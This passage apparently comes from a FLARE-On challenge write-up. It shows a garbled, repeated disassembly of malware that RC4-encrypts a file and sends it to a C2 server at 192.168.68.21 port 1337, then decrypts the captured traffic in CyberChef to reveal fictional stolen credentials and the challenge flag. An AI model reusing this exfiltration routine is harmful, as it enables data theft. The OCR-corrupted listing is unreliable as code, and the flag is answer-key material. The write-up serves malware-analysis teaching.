seg000:002403FB seg000:002403FC seg000:002403FC seg000:002403FE seg000:00240400 seg000:00240401 seg000:00240403	dec repne s not dec mov call	ecx, ecx ecx ecx ecx eax, zSetR	ebx Set RC4 key
seg000:002403FB seg000:002403FC seg000:002403FC seg000:002403FE seg000:00240401 seg000:00240403 seg000:00240403	dec repne s not dec mov call lea	ecx, ecx ecx ecx ecx eax, zSetR eax,	ebx Set RC4 key (C4Key [ebp+rc4_state]
seg000:002403FB seg000:002403FC seg000:002403FC seg000:00240400 seg000:00240400 seg000:00240404 seg000:00240408 seg000:00240408	dec repne s not dec mov call lea lea	ecx, ecx ecx ecx ecx eax, zSetR eax, edx,	ebx Set RC4 key [c4Key [ebp+rc4_state] [ebp+file_contents] DC for each file to be
seg000:002403FB seg000:002403FC seg000:002403FC seg000:00240400 seg000:00240401 seg000:00240401 seg000:00240404 seg000:002404408 seg000:002404414	dec repne s not dec mov call lea lea mov	ecx, ecx ecx ecx eax, zSetR eax, edx, ecx,	ebx Set RC4 key C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data
seg000:002403FB seg000:002403FC seg000:002403FC seg000:0024040F seg000:00240400 seg000:00240401 seg000:00240408 seg000:00240408 seg000:00240404 seg000:0024041A	dec repne s not dec mov call lea lea mov call	ecx, ecx ecx ecx eax, zSetR eax, edx, ecx, zRC4F	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data
seg000:002403FB seg000:002403FC seg000:002403FC seg000:00240409 seg000:00240400 seg000:00240400 seg000:00240408 seg000:00240408 seg000:00240414 seg000:00240414	dec repne s not dec call lea mov call lea	ecx, ecx ecx ecx ecx eax, zSetR eax, edx, ecx, zRC4E	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_199]
seg000:002403FB seg000:002403FC seg000:002403FC seg000:00240400 seg000:00240400 seg000:00240400 seg000:00240408 seg000:00240408 seg000:00240414 seg000:0024041A	dec repne s not dec call lea lea mov call lea push	ecx, ecx ecx ecx ecx eax, zSetR eax, edx, ecx, zRC4E eax,	ebx Set RC4 key [c4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data incrypt [ebp+var_190]
seg000:002403FB seg000:002403FC seg000:002403FC seg000:0024040F seg000:00240400 seg000:00240401 seg000:00240403 seg000:00240408 seg000:00240404 seg000:0024041A seg000:0024041F seg000:0024041F	dec repne s not dec mov call lea mov call lea push push	ecx, ecx ecx ecx ecx eax, edx, edx, ecx, zRC4E eax, eax, eax,	ebx Set RC4 key C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190]
seg000:002403FB seg000:002403FC seg000:002403FC seg000:0024040F seg000:00240401 seg000:00240401 seg000:00240403 seg000:00240408 seg000:00240414 seg000:00240414 seg000:00240415 seg000:00240415 seg000:00240415	dec repne s not dec mov call lea push push	ecx, ecx ecx ecx ecx eax, edx, edx, ecx, zRC4E eax, eax 202h	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data incrypt [ebp+var_190]
seg000:002403FB seg000:002403FC seg000:00240403FC seg000:00240400 seg000:00240400 seg000:00240400 seg000:00240408 seg000:00240408 seg000:00240404 seg000:00240414 seg000:00240415 seg000:00240425 seg000:00240425	dec repne s not dec mov call lea lea push push lea push lea	ecx, ecx ecx ecx ecx eax, edx, edx, ecx, zRC4E eax, eax 202h eax,	ebx Set RC4 key [c4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi]
seg00:002403FB seg00:002403FC seg00:002403FC seg00:00240407 seg000:00240400 seg000:00240400 seg000:00240408 seg000:00240408 seg000:00240414 seg000:0024041F seg000:0024041F seg000:00240428 seg000:00240428 seg000:00240428	dec repne s not dec mov call lea lea mov call lea push push lea call	ecx, ecx ecx ecx ecx, eax, edx, eax, eax, eax, eax, eax, eax, eax, ea	ebx Set RC4 key [c4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data incrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup]
seg000:002403FB seg000:002403FC seg000:002403FC seg000:00240407 seg000:00240400 seg000:00240403 seg000:00240403 seg000:00240404 seg000:0024041A seg000:0024041F seg000:0024041S seg000:00240425 seg000:00240425 seg000:00240433	dec repne s not dec mov call lea push push push lea call mov	ecx, ecx ecx ecx ecx eax, edx, ecx, eax, ecx, zRC4E eax, eax, eax, eax, eax,	ebx Set RC4 key [c4Key [ebp+rc4_state] [ebp+tile_contents] [ebp+tum_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040F seg00:00240400 seg00:00240401 seg000:00240403 seg000:00240408 seg000:00240408 seg000:00240414 seg000:00240415 seg000:00240415 seg000:00240415 seg000:00240415 seg000:00240415 seg000:00240413 seg000:00240433 seg000:00240433	dec repne s not dec call lea lea push lea call hea call mov mov mov	ecx, ecx ecx ecx ecx eax, zSetR eax, ecx, ecx, eax 202h eax, [eax, [eax+ eax, dx, 5	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C00A84415h ; 192.168.68.21 39h ; 1337
seg00:002403FB seg00:002403FC seg00:0024040FC seg00:00240409 seg00:00240400 seg00:00240400 seg00:00240408 seg00:00240408 seg00:00240414 seg00:00240414 seg00:00240414 seg00:00240425 seg00:00240425 seg00:00240425 seg00:00240425 seg00:00240428 seg00:00240431 seg000:00240433 seg000:00240438	dec repne s not dec mov call lea lea push lea call mov call mov call	ecx, ecx ecx ecx ecx eax, zSetR eax, edx, ecx, eax 202h eax, [eax+ eax, zConh	ebx Set RC4 key [ebp+rc4_state] [ebp+rc4_state] [ebp+rum bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 ectToC2 Connect to C2
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040F seg00:00240400 seg00:00240401 seg00:00240403 seg00:00240405 seg00:00240404 seg00:0024041F seg00:0024041F seg00:0024041F seg00:0024041S seg00:00240431 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240434	dec repne s not dec mov call lea mov call lea push push lea call mov mov call	ecx, ecx ecx ecx eax, ecx, edx, edx, ecx, zRC4E eax, eax 202h eax, [eax+ eax, dx, 5 zConn eby	ebx Set RC4 key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data incrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h ; 1337 ectToC2 Connect to C2 eax
seg00:002403FB seg00:002403FC seg00:002403FC seg000:0024040F seg000:00240400 seg000:00240400 seg000:00240403 seg000:00240408 seg000:00240404 seg000:00240414 seg000:00240415 seg000:00240415 seg000:00240425 seg000:00240433 seg000:00240433 seg000:00240433 seg000:00240433	dec repne s not dec call lea lea mov call lea push lea call lea call mov mov call mov call	ecx, ecx ecx ecx ecx ecx ecx ecx, ecx, e	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 ectToC2 Connect to C2 eax [ebp+file_contents]
seg000:002403FB seg000:002403FC seg000:00240403FC seg000:00240403FC seg000:00240403 seg000:002404040 seg000:002404040 seg000:002404040 seg000:00240414 seg000:00240415 seg000:00240425 seg000:00240425 seg000:00240431 seg000:00240431 seg000:00240431 seg000:00240431 seg000:00240431 seg000:00240431 seg000:00240431 seg000:00240431 seg000:00240431	dec repne s not dec mov call lea lea mov call lea push push lea call mov call mov call	ecx, ecx ecx ecx ecx eax, edx, edx, ecx, zRC4E eax, eax, eax, eax, eax, eax, eax, eax,	ebx Set RC4 key [dkey [ebp+rc4_state] [ebp+rile_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h ; 1337 ectToC2 Connect to C2 eax [ebp+file_contents]
seg000:002403FB seg000:002403FC seg000:002403FC seg000:00240407 seg000:00240400 seg000:00240403 seg000:00240403 seg000:00240408 seg000:00240404 seg000:0024041A seg000:0024041F seg000:00240441 seg000:00240433 seg000:00240433 seg000:00240433 seg000:00240443 seg000:00240443 seg000:00240443	dec repne s not dec mov call lea push lea call mov call mov call mov call mov call push lea call push lea call push lea call lea push lea call lea push lea call lea push lea call lea push lea call lea push lea call lea push lea call lea push lea call lea push lea call lea push lea call lea push lea call lea push lea call lea call lea call lea call lea call lea call lea call lea call lea call call	ecx, ecx ecx ecx ecx eax, ecx, zSetR eax, edx, ecx, zRC4E eax, eax, eax, con zCon ebx, eax, eax, eax, con zCon eax, ecx ecx ecx ecx ecx ecx ecx ecx ecx ecx	ebx Set RC4 key [ebp+rc4_state] [ebp+file_contents] [ebp+fum_bytes_read]RC4 encrypt file data incrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 ectToC2 eax [ebp+file_contents]
seg00:002403FB seg00:002403FC seg000:002403FC seg000:0024040F seg000:00240400 seg000:00240400 seg000:00240403 seg000:00240405 seg000:0024041A seg000:0024041F seg000:0024041A seg000:00240443 seg000:00240433 seg000:00240433 seg000:00240433 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443	dec repne s not dec call lea push push lea call lea push lea call mov call mov call lea push push lea push push push	ecx, ecx ecx ecx ecx ecx ecx ecx, ecx, e	ebx Set RC4 key [c4Key [ebp+rc4_state] [ebp+tile_contents] [ebp+tile_contents] [ebp+twar_190] [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] @C0A84415h ; 192.168.68.21 [abphine : 1337 eectToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read] [abphine : 1337
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040F seg00:00240400 seg00:00240400 seg00:00240403 seg00:00240408 seg00:00240408 seg00:00240408 seg00:00240414 seg000:00240415 seg000:00240415 seg000:00240430 seg000:00240433 seg000:00240433 seg000:00240433 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240444 seg000:00240444	dec repne s not dec call lea lea mov call lea push push lea call mov call mov call mov call sush push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx, ecx, e	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0000844415h ; 192.168.68.21 39h : 1337 ectToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read]
seg00:002403FB seg00:002403FB seg00:00240403FC seg00:00240403FB seg00:00240403FB seg00:002404040 seg00:002404040 seg00:002404040 seg00:002404040 seg00:00240414 seg00:00240415 seg00:00240425 seg00:00240425 seg00:00240431 seg00:00240431 seg00:00240431 seg00:00240431 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443	dec repne s not dec mov call lea lea mov call lea push push lea call mov call mov call mov call mov lea push push push push push push	ecx, ecx ecx ecx ecx eax, ecx, eax, edx, ecx, zRC4E eax, eax, eax, eax, [eax+ eax, dx, 5 zConn ebx, eax, 0 [ebp+ eax eax, eax, eax, eax, eax, eax, eax,	ebx Set RC4 key [dkey [ebp+rc4_state] [ebp+rd_state] [ebp+rum bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h ; 1337 ectToC2 eax [ebp+file_contents] num_bytes_read] Send encrypted data
seg000:002403FB seg000:002403FC seg000:002403FC seg000:0024040FC seg000:00240400 seg000:00240400 seg000:00240401 seg000:00240405 seg000:00240404 seg000:0024041F seg000:0024041F seg000:0024041F seg000:00240425 seg000:00240431 seg000:00240433 seg000:00240433 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240444 seg000:00240444 seg000:00240443 seg000:00240443	dec repne s not dec call lea push push lea call mov mov call mov mov call lea push push push push push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx ecx, ecx,	ebx Set RC4 key [dep+rc4_state] [ebp+tile_contents] [ebp+tum_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 ectToC2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi]
seg00:002403FB seg00:002403FC seg000:002403FC seg000:0024040FC seg000:00240400 seg000:00240400 seg000:00240400 seg000:00240408 seg000:00240404 seg000:00240414 seg000:00240415 seg000:002404415 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240441 seg000:00240441 seg000:00240441 seg000:00240441 seg000:00240445 seg000:00240445 seg000:00240445	dec repne s not dec call lea push push lea call mov call mov call mov call mov call bush push push push push push push push p	ecx, ecx ecx ecx ecx ecx ecx ecx ecx, ecx,	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+rile_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 ecctToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send]
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040FC seg00:00240403FB seg00:00240403 seg00:00240403 seg00:00240403 seg00:00240404 seg00:00240414 seg00:00240414 seg00:00240415 seg00:00240425 seg00:00240430 seg00:00240433 seg000:00240433 seg000:00240433 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240445 seg000:00240453 seg000:00240453	dec repne s not dec call lea lea mov call lea push push lea call mov call mov lea push push push push push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx, ecx, e	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+rile_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 ectToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send]
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040F seg00:00240400 seg000:00240400 seg000:00240401 seg000:00240404 seg000:00240404 seg000:00240404 seg000:0024041F seg000:0024041F seg000:00240443 seg000:00240433 seg000:00240433 seg000:00240433 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240445 seg000:00240445 seg000:00240453 seg000:00240453 seg000:00240455 seg000:00240455	dec repne s not dec call lea lea push lea call mov call mov call mov call mov lea push push push push push push push push	ecx, ecx ecx ecx ecx eax, ecx, zSetR eax, eax, ecx, zRC4E eax, eax, eax, eax, eax, eax, eax, eax,	ebx Set RC4 key [ebp+rc4_state] [ebp+rc4_state] [ebp+rum bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 eectToC2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send]
seg00:002403FB seg00:002403FC seg000:002403FC seg000:0024040FC seg000:00240400 seg000:00240400 seg000:00240403 seg000:00240404 seg000:00240404 seg000:00240414 seg000:00240414 seg000:00240415 seg000:00240433 seg000:00240433 seg000:00240433 seg000:00240433 seg000:00240433 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240445 seg000:00240453 seg000:00240452 seg000:00240455	dec repne s not dec call lea push push lea call lea push push push push push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx ecx ecx ecx	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+rd_state] [ebp+rd_state] [ebp+rd_state] [ebp+rd_state] [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 rectToC2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send] Shutdown socket public contents]
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040FC seg00:00240405 seg00:00240401 seg00:00240403 seg00:00240408 seg00:00240408 seg00:00240408 seg00:00240405 seg00:0024041F seg00:0024041F seg00:00240415 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240443 seg00:00240445 seg00:00240445 seg00:00240445 seg00:00240445 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455	dec repne s not dec call lea lea mov call lea push push lea call mov call mov call mov call mov call lea push push push push push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx ecx ecx, ecx,	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0000844415h ; 192.168.68.21 39h : 1337 ectToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send] Shutdown socket rva g_dynamic_IAT_2[esi]
seg00:002403FB seg00:002403FC seg00:00240403FC seg000:00240403FC seg000:00240403FC seg000:00240403 seg000:00240403 seg000:002404040 seg000:002404045 seg000:002404041 seg000:002404425 seg000:002404425 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240445 seg000:00240445 seg000:00240455 seg000:00240455 seg000:00240455 seg000:00240455 seg000:00240455	dec repne s not dec mov call lea lea mov call lea push push lea call mov lea push push push push push push push push	ecx, ecx ecx ecx ecx eax, edx, edx, ecx, zRC4E eax, eax, eax, eax, eax, eax, eax, eax,	ebx Set RC4 key [dkey [ebp+rc4_state] [ebp+rile_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h ; 1337 ectToC2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send] Shutdown socket rva g_dynamic_IAT_2[esi] myAPIs_2.shutdown]
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040F seg00:00240400 seg00:00240400 seg00:00240403 seg00:00240403 seg00:00240405 seg00:0024041A seg00:0024041F seg00:0024041F seg00:0024041S seg00:00240431 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240445 seg00:00240445 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455	dec repne s not dec call lea push push lea call mov mov call mov mov call lea push push push push push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx ecx ecx ecx	ebx Set RC4 key [dep+rc4_state] [ebp+tile_contents] [ebp+tum_bytes_read]RC4 encrypt file data incrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 eectToC2 eax [ebp+file_contents] rum_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send] Shutdown socket rva g_dynamic_IAT_2[esi] myAPIs_2.shutdown]
seg00:002403FB seg00:002403FC seg000:002403FC seg000:0024040FC seg000:00240400 seg000:00240400 seg000:00240400 seg000:00240408 seg000:00240404 seg000:00240414 seg000:00240415 seg000:00240441 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240443 seg000:00240445 seg000:00240445 seg000:00240451 seg000:00240445 seg000:00240445 seg000:00240451 seg000:00240451 seg000:00240455 seg000:00240455 seg000:00240455 seg000:00240455 seg000:00240456 seg000:00240456 seg000:00240456 seg000:00240465	dec repne s not dec call lea lea mov call lea push push lea call mov call mov call mov call mov call lea call lea push push push push push push push push	ecx, ecx, ecx ecx ecx ecx ecx ecx, ecx,	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+rc4_state] [ebp+rile_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.wSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 ecctToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send] Shutdown socket rva g_dynamic_IAT_2[esi] myAPIs_2.shutdown]
seg00:002403FB seg00:002403FB seg00:002403FC seg00:0024040FC seg00:00240405 seg00:00240401 seg00:00240403 seg00:00240408 seg00:00240408 seg00:00240408 seg00:00240415 seg00:00240415 seg00:00240415 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240445 seg00:00240445 seg00:00240445 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455	dec repne s not dec call lea lea mov call lea push push lea call mov call mov call mov call mov call mov call lea push push push push push push push lea call lea push push push lea call lea push push lea call lea push push push lea call lea push push push push push lea push push push push push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx ecx ecx ecx	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+file_contents] [ebp+num_bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2_WSAStartup] 0C0A84415h ; 192.168.68.21 39h : 1337 ectToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send] Shutdown socket rva g_dynamic_IAT_2[esi] myAPIs_2.shutdown]
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040FC seg00:00240400 seg00:00240401 seg00:00240401 seg00:00240401 seg00:0024040E seg00:0024040E seg00:0024041F seg00:0024041F seg00:0024041S seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240445 seg00:00240445 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455	dec repne s not dec call lea lea mov call lea push push lea call mov mov call lea push push push push push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx ecx ecx ecx	ebx Set RC4 key [dkey [dbp+rc4_state] [ebp+rc4_state] [ebp+rum bytes_read]RC4 encrypt file data ncrypt [ebp+var_190] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] 0C0A84415h ; 192.168.68.21 39h ; 1337 ectToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send] Shutdown socket rva g_dynamic_IAT_2[esi] myAPIs_2.shutdown]
seg00:002403FB seg00:002403FC seg00:002403FC seg00:0024040FC seg00:00240400 seg00:00240400 seg00:00240403 seg00:00240403 seg00:00240404 seg00:00240414 seg00:00240414 seg00:00240415 seg00:00240415 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240433 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240443 seg00:00240445 seg00:00240445 seg00:00240453 seg00:00240453 seg00:00240453 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240455 seg00:00240456 seg00:00240456 seg00:00240465 seg00:00240468 seg00:00240468 seg00:00240468 seg00:00240468 seg00:00240468	dec repne s not dec call lea push push lea call mov call mov call mov call nov call ea push push push push push push push push	ecx, ecx ecx ecx ecx ecx ecx ecx ecx ecx ecx	ebx Set RC4 key (C4Key [ebp+rc4_state] [ebp+rd4_state] [ebp+rd4_state] [ebp+rd4_state] [ebp+rd4_state] [ebp+rd4_state] [ebp+rd1_le_contents] rva g_dynamic_IAT_2[esi] myAPIs_2.WSAStartup] @C0A84415h ; 192.168.68.21 39h : 1337 ecctToC2 Connect to C2 eax [ebp+file_contents] num_bytes_read] Send encrypted data rva g_dynamic_IAT_2[esi] myAPIs_2.send] Shutdown socket rva g_dynamic_IAT_2[esi] myAPIs_2.shutdown]

Figure 23: Overview of function at VA 0x24038F



C2 COMMUNICATION ANALYSIS

Returning to Wireshark, we identify the final connection to the C2 server by using the filter: tcp.port==1337. Like before, we extract and save the raw bytes to the file accounts.txt.bin. Using either a Python script or a tool like CyberChef (<u>https://gchq.github.io/CyberChef/</u>), we RC4 decrypt the exfiltrated data as shown in Figure 24.

Operations	Recipe		start: 202 end: 202 length: 0
rc4	RC4	⊗ 11	Name: accounts.txt.bin
<u>RC4</u>	Passphrase intrepidmango	UTF8 🕶	Size: 206 bytes
RC4 Drop	Input format		Type: application/octet-stream
Favourites 🔶	Latin1 Latin1		Loaded: 100%
Data format			Output start: 222 time: 1ms end: 222 length: 286 length: 286 length: 9 lines: 5
Encryption / Encoding			roy:h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com:goat moss:Pot-Pocket-Pigeon-Hunt-8:narwhal
Public Key			jen:Straighten-Effective-Gift-Pity-1:bunny richmond:Inventor-Hut-Autumn-Tray-6:bird
Arithmetic / Logic			denholm:123:dog

Figure 24: RC4 decryption in CyberChef

Having decrypted the exfiltrated data, we definitively know what data was stolen from "Reynholm Industries" and can report back. As it turns out, there is also a FLARE-On challenge flag embedded in this data, h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com, as seen more clearly in Figure 25.

```
roy:h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com:goat
moss:Pot-Pocket-Pigeon-Hunt-8:narwhal
jen:Straighten-Effective-Gift-Pity-1:bunny
richmond:Inventor-Hut-Autumn-Tray-6:bird
denholm:123:dog
```

```
Figure 25: Decrypted contents of C:\accounts.txt
```



17

